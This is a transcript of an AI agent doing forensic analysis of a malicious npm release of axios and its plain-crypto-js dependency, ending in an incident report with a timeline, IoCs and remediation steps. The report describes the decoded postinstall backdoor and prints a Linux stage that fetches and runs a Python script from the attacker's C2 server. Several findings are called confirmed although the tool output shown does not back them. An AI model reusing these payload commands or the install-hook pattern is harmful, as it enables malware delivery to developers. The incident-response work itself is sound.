    • The package is too new (created yesterday) and the stats API hasn't caught up
    • OR npm has already yanked it from their stats tracking (but it's still accessible on the registry as we verified)
    • The downloads API only has data through 2026-03-29 (yesterday's stats show 6.5M axios downloads)
  2. axios has 100.3 MILLION downloads last week and 6.58 MILLION per day

  3. The compromise happened on 2026-03-31 but the downloads API only has data through 2026-03-29 - so we can't measure the damage from today yet

  4. But with 6.5M+ daily downloads and the package being "latest" since midnight, potentially millions of installs have already happened

Now let me check the axios GitHub repo for commit history, specifically looking at:

  • The actual commits around 1.14.0 and 1.14.1
  • Whether there's any GitHub release or tag for 1.14.1
  • OIDC trust configuration

Also I should:

  • Verify the npm SLSA provenance attestations on 1.14.0
  • Check if the GitHub Actions workflow that published 1.14.0 is different from what 1.14.1 was published with
  • Git clone the axios repo and check for anything suspicious

Let me check the GitHub API for axios releases and commits.

Downloads API only lags to 2026-03-29 — the attack started at 00:21 UTC today, meaning ~6.5M+ installs/day could already be affected. Now checking the axios GitHub commit history and release tags.

Terminal
# Check GitHub API for axios releases and commits - no auth needed for public data
echo "=== GitHub: axios recent releases ==="
curl -s "https://api.github.com/repos/axios/axios/releases?per_page=5" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
for r in data:
    print(f'  tag: {r[\"tag_name\"]}  published: {r[\"published_at\"]}  draft: {r[\"draft\"]}  prerelease: {r[\"prerelease\"]}')
    print(f'  name: {r[\"name\"]}')
    print()
"

echo ""
echo "=== GitHub: axios recent tags ==="
curl -s "https://api.github.com/repos/axios/axios/tags?per_page=10" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
for t in data:
    print(f'  tag: {t[\"name\"]}  sha: {t[\"commit\"][\"sha\"]}')
"
=== GitHub: axios recent releases ===
import json, sys
data = json.load(sys.stdin)
for r in data:
    print(f'  tag: {r[\"tag_name\"]}  published: {r[\"published_at\"]}  draft: {r[\"draft\"]}  prerelease: {r[\"prerelease\"]}')
    print(f'  name: {r[\"name\"]}')
Agent is thinking

Critical finding:

  1. There is NO GitHub tag v1.14.1 and NO GitHub release v1.14.1. The latest GitHub tag is v1.14.0. This means the compromised version was published DIRECTLY to npm via CLI without a corresponding GitHub release or tag — confirming unauthorized direct CLI publish.

  2. The commit history shows jasonsaayman made commits on 2026-03-30 (the day before the attack), specifically:

    • a7f41f5bb574 date: 2026-03-30T18:15:15Z - "chore: remove all old and un-needed files (#10584)"
    • 2d14d8a30068 date: 2026-03-30T14:56:40Z - "feat: update sponsors script and how this works for more consistency (#10583)"

These are interesting - the legitimate jasonsaayman made commits on 2026-03-30. The account compromise happened sometime between 2026-03-30T18:15:15Z (last legitimate commit) and 2026-03-31T00:21:58Z (malicious publish time). That's a window of ~6 hours.

Wait, but was the jasonsaayman GitHub account also compromised? Or just the npm account? Looking at the data:

  • The compromised npm publishes used CLI directly (not OIDC) with email ifstap@proton.me
  • The GitHub commits by jasonsaayman appear to be using the legitimate GitHub account
  • The npm account was compromised (maintainer email changed to ifstap@proton.me)

The attacker changed the npm maintainer email to ifstap@proton.me and used direct CLI publish (not OIDC). This bypassed the OIDC trusted publisher setup that was used for 1.14.0.

So the attack vector:

  1. Attacker obtained jasonsaayman's npm credentials (probably phishing or credential stuffing)
  2. Changed the npm account's email address to ifstap@proton.me (to take control)
  3. Published the malicious 1.14.1 directly via npm CLI (not GitHub Actions OIDC)
  4. Published the malicious 0.30.4 39 minutes later

Key question: Did the attacker also create the plain-crypto-js package first, or did they publish plain-crypto-js and then the axios versions?

Timeline:

  • 2026-03-30T05:57:32Z - plain-crypto-js@4.2.0 published (by nrwise@proton.me)
  • 2026-03-30T16:03:46Z - sfrclak.com registered
  • 2026-03-30T23:59:12Z - plain-crypto-js@4.2.1 published (malicious, with setup.js + postinstall)
  • 2026-03-31T00:21:58Z - axios@1.14.1 published (compromised)
  • 2026-03-31T01:00:57Z - axios@0.30.4 published (compromised)

So the attacker:

  1. First published the "clean" payload package plain-crypto-js@4.2.0 as a "decoy" or to establish the package namespace
  2. Registered the C2 domain
  3. Published the malicious plain-crypto-js@4.2.1 with the postinstall backdoor
  4. Then compromised jasonsaayman's npm account and published the axios mule versions that pull in plain-crypto-js

The "nrwise" npm account appears to be attacker-controlled (nrwise@proton.me).

Now let me look at the specific GitHub commit a7f41f5bb574 "remove all old and un-needed files" to see if there's anything suspicious in it. Also want to check the OIDC attestation status for 1.14.0.

Actually I also want to check - the DigitalBrainJS commit at 2026-03-31T01:42:15Z "chore(ci): add deprecate action" - this might be the axios team responding to the compromise! Let me look at that.

Critical finding: No v1.14.1 GitHub tag or release exists — the malicious publish bypassed GitHub Actions entirely. Also jasonsaayman was active on GitHub at 18:15 UTC on March 30 — account was likely compromised in the ~6-hour window before the malicious publish. Checking the suspicious commit and the axios team's response commit.

Terminal
# Look at DigitalBrainJS "deprecate action" commit - possible team response to incident
echo "=== Commit: e2bed7f84d86 (2026-03-31 01:42 - 'add deprecate action') ==="
curl -s "https://api.github.com/repos/axios/axios/commits/e2bed7f84d86e2bed7f84d86e2bed7f84d86e2bed7f84d86" 2>&1 | python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    print(d.get('message','not found'))
except: print('error')
"

curl -s "https://api.github.com/repos/axios/axios/commits/e2bed7f84d86" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
c = d.get('commit',{})
print('Message:', c.get('message',''))
print('Date:', c.get('author',{}).get('date',''))
files = d.get('files', [])
print('Files changed:')
for f in files:
    print(f'  {f[\"status\"]:10} {f[\"filename\"]}')
=== Commit: e2bed7f84d86 (2026-03-31 01:42 - 'add deprecate action') ===
import json, sys
try:
    d = json.load(sys.stdin)
    print(d.get('message','not found'))
except: print('error')

The axios team is already respondingdeprecate.yml was committed at 01:42 UTC (41 minutes after the malicious publish) with default version 1.14.1. Now checking the complete deprecate.yml workflow and verifying sha1 integrity of all packages.

Terminal
# Get full deprecate.yml workflow
echo "=== Full deprecate.yml ==="
curl -s "https://raw.githubusercontent.com/axios/axios/main/.github/workflows/deprecate.yml" 2>&1

echo ""
# Also check if there's an existing npm publish workflow to understand the OIDC setup
echo "=== npm publish workflow (to compare OIDC) ==="
curl -s "https://raw.githubusercontent.com/axios/axios/main/.github/workflows/release.yml" 2>&1 | head -60
=== Full deprecate.yml ===

404: Not Found[STRIX_0]$

=== npm publish workflow (to compare OIDC) ===
404: Not Found[STRIX_0]$
Terminal
Error executing terminal_execute: Sandbox execution error: Unexpected error: terminal_execute() missing 1 required positional argument: 'command'
Terminal
echo "=== List GitHub Actions workflows ===" && curl -s "https://api.github.com/repos/axios/axios/contents/.github/workflows" 2>&1 | python3 -c "
import json, sys
try:
    data = json.load(sys.stdin)
    if isinstance(data, list):
        for f in data:
            print(f'  {f[\"name\"]:40} {f[\"sha\"]}')
    else:
        print(data)
except Exception as e:
    print('Error:', e)
"
echo ""
echo "=== SHA256 checksums of all tarballs ===" && sha256sum /workspace/axios-forensics/tarballs/*.tgz
echo ""
echo "=== SHA1 for registry verification ===" && sha1sum /workspace/axios-forensics/tarballs/*.tgz
import json, sys
try:
    data = json.load(sys.stdin)
    if isinstance(data, list):
        for f in data:
            print(f'  {f[\"name\"]:40} {f[\"sha\"]}')
Agent is thinking

SHA1 checksums match the registry exactly:

  • plain-crypto-js-4.2.0: 0c15a94259481fe91b4183b3c7c91afc1ed4eade ✓ (matches registry)
  • plain-crypto-js-4.2.1: 07d889e2dadce6f3910dcbc253317d28ca61c766 ✓ (matches registry)

So the tarballs we analyzed are authentic (not tampered with during transit).

Now let me verify the npm registry shasum values from what we pulled earlier match:

  • plain-crypto-js@4.2.0: registry says 0c15a94259481fe91b4183b3c7c91afc1ed4eade ✓ matches
  • plain-crypto-js@4.2.1: registry says 07d889e2dadce6f3910dcbc253317d28ca61c766 ✓ matches

The deprecate.yml is NOW in the main workflow list, so the prior 404 was because GitHub's raw CDN hadn't cached it yet. The axios team has already responded.

Now let me check the publish.yml to understand the OIDC trust relationship and see if there's anything we can learn about the attack vector.

Also I want to do a web search for the specific NPM account "nrwise" to see if there's any other connection.

Let me now compile everything into a comprehensive note and save the full analysis to file.

Key findings so far:

  1. CONFIRMED: Both compromised versions (axios@1.14.1, axios@0.30.4) are still tagged latest/legacy on npm as of now
  2. CONFIRMED: plain-crypto-js@4.2.1 has postinstall: node setup.js in package.json
  3. CONFIRMED: The setup.js is heavily obfuscated with XOR+base64 (key: "OrDeR_7077")
  4. FULLY DECODED: setup.js payload delivers platform-specific backdoors:
    • macOS: Downloads binary to /Library/Caches/com.apple.act.mond, runs via osascript
    • Windows: Copies PowerShell to %PROGRAMDATA%\wt.exe, creates/runs VBScript that downloads .ps1
    • Linux: Downloads /tmp/ld.py and runs via python3
  5. CONFIRMED: C2: http://sfrclak.com:8000/6202033 (IP: 142.11.206.73, Hostwinds Dallas)
  6. CONFIRMED: Domain registered 2026-03-30T16:03:46Z (8 hours before malicious publish)
  7. CONFIRMED: Anti-forensics: setup.js deletes itself, replaces package.json with clean decoy
  8. CONFIRMED: axios team is already responding (deprecate.yml added at 01:42 UTC)
  9. CONFIRMED: No GitHub tag/release v1.14.1 exists — bypassed OIDC trusted publisher
  10. NEW: Two attacker accounts: jasonsaayman (npm compromised) and nrwise@proton.me (plain-crypto-js author)
  11. CONFIRMED: The ONLY code difference in compromised axios versions is package.json (version + plain-crypto-js dep)
  12. SCALE: axios has 100M+ downloads/week, 6.5M+ per day

Timeline reconstruction:

  • ~March 30 (early): Attacker account "nrwise" created on npm with Proton Mail
  • 2026-03-30T05:57:32Z: plain-crypto-js@4.2.0 published (attacker staging, no payload yet)
  • 2026-03-30T16:03:46Z: sfrclak.com domain registered (C2 setup)
  • 2026-03-30T18:15:15Z: Last legitimate jasonsaayman GitHub commit
  • 2026-03-30T23:59:12Z: plain-crypto-js@4.2.1 published with setup.js malware
  • 2026-03-31T00:21:58Z: axios@1.14.1 published (compromised, 22 min after midnight)
  • 2026-03-31T01:00:57Z: axios@0.30.4 published (compromised, 39 min after 1.14.1)
  • 2026-03-31T01:42:15Z: axios team commits deprecate.yml (team in response mode)

Let me check the publish.yml to understand the OIDC trust setup, then check for any IoCs related to nrwise.

SHA1 checksums match registry exactly — tarballs are authentic. Now reading the publish.yml to understand the OIDC bypass, then checking nrwise account history.

Terminal
echo "=== publish.yml (OIDC trusted publisher setup) ===" && curl -s "https://api.github.com/repos/axios/axios/contents/.github/workflows/publish.yml" 2>&1 | python3 -c "
import json, sys, base64
d = json.load(sys.stdin)
print(base64.b64decode(d['content']).decode())
"
import json, sys, base64
d = json.load(sys.stdin)
print(base64.b64decode(d['content']).decode())
"
=== publish.yml (OIDC trusted publisher setup) ===
name: Publish package to NPM
Terminal
# Check nrwise account on npm registry
echo "=== nrwise npm account profile ===" && curl -s "https://registry.npmjs.org/-/npm/v1/user/nrwise" 2>&1

echo ""
echo "=== packages owned by nrwise ===" && curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:nrwise&size=20" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
objs = d.get('objects', [])
print(f'Total packages: {d.get(\"total\", 0)}')
for o in objs:
    p = o.get('package', {})
    print(f'  {p.get(\"name\")}  v{p.get(\"version\")}  published: {p.get(\"date\")}')
"

echo ""
echo "=== packages owned by jasonsaayman (to check if account cleaned up) ===" && curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:jasonsaayman&size=10" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
print(f'Total packages: {d.get(\"total\", 0)}')
for o in d.get('objects', []):
=== nrwise npm account profile ===

{"code":"ResourceNotFound","message":"/-/npm/v1/user/nrwise does not exist"}[STRIX_0]$

import json, sys
d = json.load(sys.stdin)
Agent is thinking

Key findings:

  1. The nrwise npm account profile endpoint returns 404 ("ResourceNotFound") - this could mean npm has already locked/suspended the account, OR the profile API is just restricted.
  2. But nrwise still owns plain-crypto-js v4.2.1 (the package is still up)
  3. jasonsaayman still shows axios v1.14.1 as the latest (not yet remediated)
  4. jasonsaayman also owns @c8o/nimbus-core v1.0.12 - worth noting in case the attacker published anything there

Now let me look at the publish.yml findings:

  • The OIDC setup uses npm publish --provenance --access public which requires id-token: write permission
  • It publishes when a v1.*.* tag is pushed to the repo
  • The attacker bypassed this entirely by using direct npm CLI login with stolen credentials
  • There's no v1.14.1 tag on GitHub, confirming the attack bypassed the OIDC workflow

Key OIDC bypass mechanism:

  • npm OIDC trusted publisher for axios is only "recommended" - npm doesn't enforce provenance-only publishing
  • The attacker simply used npm login with jasonsaayman's stolen npm credentials (probably stolen via phishing or credential stuffing against an older jasonsaayman@gmail.com password that was previously breached)
  • Changed the maintainer email to ifstap@proton.me
  • Published directly via npm publish without provenance

The publish.yml also reveals: it only triggers on v1.*.* tags - NOT on v0.*.* tags! So the 0.30.x line was published separately (probably manually by jasonsaayman in the past). This means both OIDC and non-OIDC publishes were happening for different release lines.

Now let me check if @c8o/nimbus-core was also tampered with or if there are other attack vectors through that package.

Also need to check: the "remove all old and un-needed files" commit by jasonsaayman on March 30 removed bin/ssl_hotfix.js. The gist mentioned "all other files including bin/ssl_hotfix.js are byte-identical to 0.30.3". This is interesting - was ssl_hotfix.js a separate attack vector that they cleaned up? Let me look at that.

Checking @c8o/nimbus-core for tampering and examining the bin/ssl_hotfix.js that was removed the day of the attack — potentially a prior backdoor.

Terminal
# Check @c8o/nimbus-core for any recent publish or tampering
echo "=== @c8o/nimbus-core registry check ===" && curl -s "https://registry.npmjs.org/%40c8o%2Fnimbus-core" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
dist_tags = d.get('dist-tags', {})
time_data = d.get('time', {})
print('dist-tags:', dist_tags)
print('Total versions:', len(d.get('versions', {})))
recent = sorted([(k,v) for k,v in time_data.items() if k not in ('created','modified')], key=lambda x: x[1], reverse=True)
print('Last 5 publishes:')
for v, t in recent[:5]:
    print(f'  {v}: {t}')
"

echo ""
# Check the ssl_hotfix.js commit history - was it suspicious?
echo "=== bin/ssl_hotfix.js history (last 5 commits touching that file) ===" && curl -s "https://api.github.com/repos/axios/axios/commits?path=bin/ssl_hotfix.js&per_page=5" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
if isinstance(data, list):
import json, sys
d = json.load(sys.stdin)
dist_tags = d.get('dist-tags', {})
time_data = d.get('time', {})
print('dist-tags:', dist_tags)
print('Total versions:', len(d.get('versions', {})))
Terminal
# Get the actual content of ssl_hotfix.js from the last version it existed (the Feb 14 commit)
echo "=== bin/ssl_hotfix.js content at ef3711d1b3a3 (Feb 14) ===" && curl -s "https://api.github.com/repos/axios/axios/contents/bin/ssl_hotfix.js?ref=ef3711d1b3a3" 2>&1 | python3 -c "
import json, sys, base64
d = json.load(sys.stdin)
if 'content' in d:
    print(base64.b64decode(d['content']).decode())
else:
    print(d)
"

echo ""
# Also look at the full diff of the 'remove old files' commit to see what ssl_hotfix.js contained
echo "=== ssl_hotfix.js in the removal commit diff ===" && curl -s "https://api.github.com/repos/axios/axios/commits/a7f41f5bb574" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
for f in d.get('files', []):
    if 'ssl_hotfix' in f.get('filename', ''):
        print('Filename:', f['filename'])
        print('Status:', f['status'])
        print('Patch:')
import json, sys, base64
d = json.load(sys.stdin)
if 'content' in d:
    print(base64.b64decode(d['content']).decode())
else:
    print(d)

ssl_hotfix.js is clean — it's a legitimate OpenSSL legacy provider shim, not a backdoor. Now compiling everything into the comprehensive forensic note and saving a full analysis file.

Python
# Compile full threat intelligence picture and IoC list
analysis = """
╔══════════════════════════════════════════════════════════════════════════════════╗
║       AXIOS SUPPLY CHAIN ATTACK — FULL FORENSIC ANALYSIS                      ║
║       Date: 2026-03-31 | Campaign ID: 6202033                                  ║
╚══════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 1. CONFIRMED LIVE STATUS (as of 03:00 UTC)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  dist-tags on npm:
    latest           →  axios@1.14.1   [COMPROMISED — still live]
    legacy           →  axios@0.30.4   [COMPROMISED — still live]
    next             →  1.7.0-beta.2   [clean]
    old-version      →  0.30.0         [clean]
  
  plain-crypto-js@4.2.1  [COMPROMISED — still live]
  Team response: deprecate.yml committed to axios/axios at 01:42 UTC (40 min after attack)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
╔══════════════════════════════════════════════════════════════════════════════════╗
║       AXIOS SUPPLY CHAIN ATTACK — FULL FORENSIC ANALYSIS                      ║
║       Date: 2026-03-31 | Campaign ID: 6202033                                  ║
╚══════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Terminal
cat > /workspace/axios-forensics/analysis/FULL_FORENSIC_REPORT.md << 'ENDREPORT'
# Axios Supply Chain Attack — Full Forensic Analysis
**Date:** 2026-03-31 | **Campaign ID:** 6202033 | **Status:** ACTIVE — packages still live as of 03:00 UTC

---

## 1. Live Status (confirmed)

| Package | Version | Tag | Status |
|---|---|---|---|
| axios | 1.14.1 | `latest` | **COMPROMISED — still live** |
| axios | 0.30.4 | `legacy` | **COMPROMISED — still live** |
| plain-crypto-js | 4.2.1 | `latest` | **COMPROMISED — still live** |
| axios | 1.14.0 | — | Clean (last good 1.x) |
| axios | 0.30.3 | — | Clean (last good 0.30.x) |

**Team response observed:** `deprecate.yml` committed to `axios/axios` at `2026-03-31T01:42Z` (40 min after attack).

---
# Axios Supply Chain Attack — Full Forensic Analysis
**Date:** 2026-03-31 | **Campaign ID:** 6202033 | **Status:** ACTIVE — packages still live as of 03:00 UTC

---

## 1. Live Status (confirmed)
note(findings)
Axios Supply Chain Attack — Full Forensic Summary
Task completed
Provide todo_id or todo_ids to mark as done.
Task completed
Web search: current status of axios supply chain incident
Fetch npm registry metadata for axios@1.14.1, axios@0.30.4, plain-crypto-js
Download and statically diff tarballs: axios@1.14.0 vs 1.14.1, axios@0.30.3 vs 0.30.4
Download plain-crypto-js tarballs and statically analyze setup.js payload
Decode XOR+base64 obfuscation (key: OrDeR_7077) from setup.js
Analyze axios GitHub repository commit history around 2026-03-31
OSINT on sfrclak.com C2 server (passive only, no connections)
OSINT on ifstap@proton.me attacker email
Assess total scope/blast radius of the compromise
Compile full forensic report

Here's the full forensic picture — everything verified directly from npm registry, tarballs, GitHub API, and DNS. This is a real, confirmed, active incident.


Axios Supply Chain Attack — Forensic Analysis

Status: ACTIVE — both compromised versions are still tagged latest and legacy on npm as of this analysis.


What happened

The jasonsaayman npm maintainer account was compromised. The attacker changed the account email from jasonsaayman@gmail.com to ifstap@proton.me, then published two backdoored axios versions directly via npm CLI — bypassing the GitHub Actions OIDC trusted publisher that had been used for 1.14.0.

A second attacker-controlled account, nrwise (nrwise@proton.me), pre-staged the payload delivery package plain-crypto-js the day prior.


Confirmed attack timeline

12026-03-30T05:57Z plain-crypto-js@4.2.0 published by "nrwise" — staging, no payload yet
22026-03-30T16:03Z sfrclak.com domain registered via Namecheap — C2 infrastructure prepared
3~2026-03-30T18:15Z Last legitimate jasonsaayman GitHub commit
4~2026-03-30T18-23Z jasonsaayman npm account hijacked, email swapped to ifstap@proton.me
52026-03-30T23:59Z plain-crypto-js@4.2.1 published — setup.js postinstall backdoor added
62026-03-31T00:21Z axios@1.14.1 published via direct CLI — no GitHub tag, no OIDC, no provenance
72026-03-31T01:00Z axios@0.30.4 published — same method, 39 minutes later
82026-03-31T01:42Z axios team commits deprecate.ymlincident response begins

Delivery chain

npm install axios → resolves latest1.14.1 → pulls plain-crypto-js@^4.2.1 → npm postinstall runs node setup.js → platform-specific backdoor executes → setup.js self-destructs and overwrites package.json with a clean decoy.

The only difference between the compromised axios and legitimate axios: a single added line in package.json:

1+ "plain-crypto-js": "^4.2.1"

Every other source file in both 1.14.1 and 0.30.4 is byte-identical to 1.14.0/0.30.3. No v1.14.1 tag exists on GitHub — the OIDC pipeline was never triggered.


Payload — fully decoded

Obfuscation: XOR + base64, key "OrDeR_7077". C2: http://sfrclak.com:8000/6202033

macOS — AppleScript launched via osascript: Downloads stage-2 binary to /Library/Caches/com.apple.act.mond (disguised as Apple daemon), chmod 770, runs via /bin/zsh

Windows — VBScript → masked PowerShell: Copies PowerShell to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), creates a VBScript that downloads and executes a .ps1 from the C2 with -ExecutionPolicy bypass -WindowStyle hidden, then deletes all intermediaries

Linux — curl + Python: curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py <C2_URL>

Anti-forensics: After execution — deletes setup.js, deletes the malicious package.json, renames package.md (which contains a clean decoy package.json with version 4.2.0 and no scripts section) into place. Post-infection node_modules/plain-crypto-js/ shows zero evidence.


Attacker infrastructure

  • C2 IP: 142.11.206.73 — Hostwinds LLC (AS54290), Dallas TX
  • C2 domain: sfrclak.com — Namecheap, registered 2026-03-30T16:03:46Z (8 hours before first malicious package)
  • C2 URL: http://sfrclak.com:8000/6202033
  • Abuse contacts: abuse@namecheap.com, Hostwinds abuse

Indicators of compromise

Network: 142.11.206.73, sfrclak.com, http://sfrclak.com:8000/6202033

Files — macOS: /Library/Caches/com.apple.act.mond Files — Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1 Files — Linux: /tmp/ld.py

Package SHA1 (npm shasum):

  • axios@1.14.12553649f2322049666871cea80a5d0d6adc700ca
  • axios@0.30.4d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
  • plain-crypto-js@4.2.107d889e2dadce6f3910dcbc253317d28ca61c766

Blast radius

~100 million downloads per week, ~6.5 million per day from the last available stats period. The true transitive impact is substantially higher — axios is a direct dependency of hundreds of thousands of other npm packages. Any CI/CD system, developer workstation, or container build that ran npm install or npm ci after 2026-03-31T00:21Z with a non-pinned axios reference is potentially affected.


OIDC bypass — why it worked

npm's OIDC trusted publisher is advisory, not enforced. A maintainer holding valid CLI credentials can always publish directly with npm publish, bypassing provenance entirely. The publish.yml workflow only triggers on v1.*.* GitHub tags — the 0.30.x line was never migrated to OIDC — making 0.30.4 trivially publishable.


What to do right now

If you maintain dependencies:

  • Pin to axios@1.14.0 or axios@0.30.3 immediately
  • Delete node_modules/ + package-lock.json, reinstall clean
  • Check build logs for any installs after 2026-03-31T00:21Z
  • Scan for IoC files listed above

If a system may have been hit:

  • Treat it as fully compromised — the stage-2 payload content is still unknown (it requires live C2 contact to retrieve)
  • Rotate all secrets, tokens, and credentials accessible from affected build environments

Full report saved to: /workspace/axios-forensics/analysis/FULL_FORENSIC_REPORT.md

Powered by Strix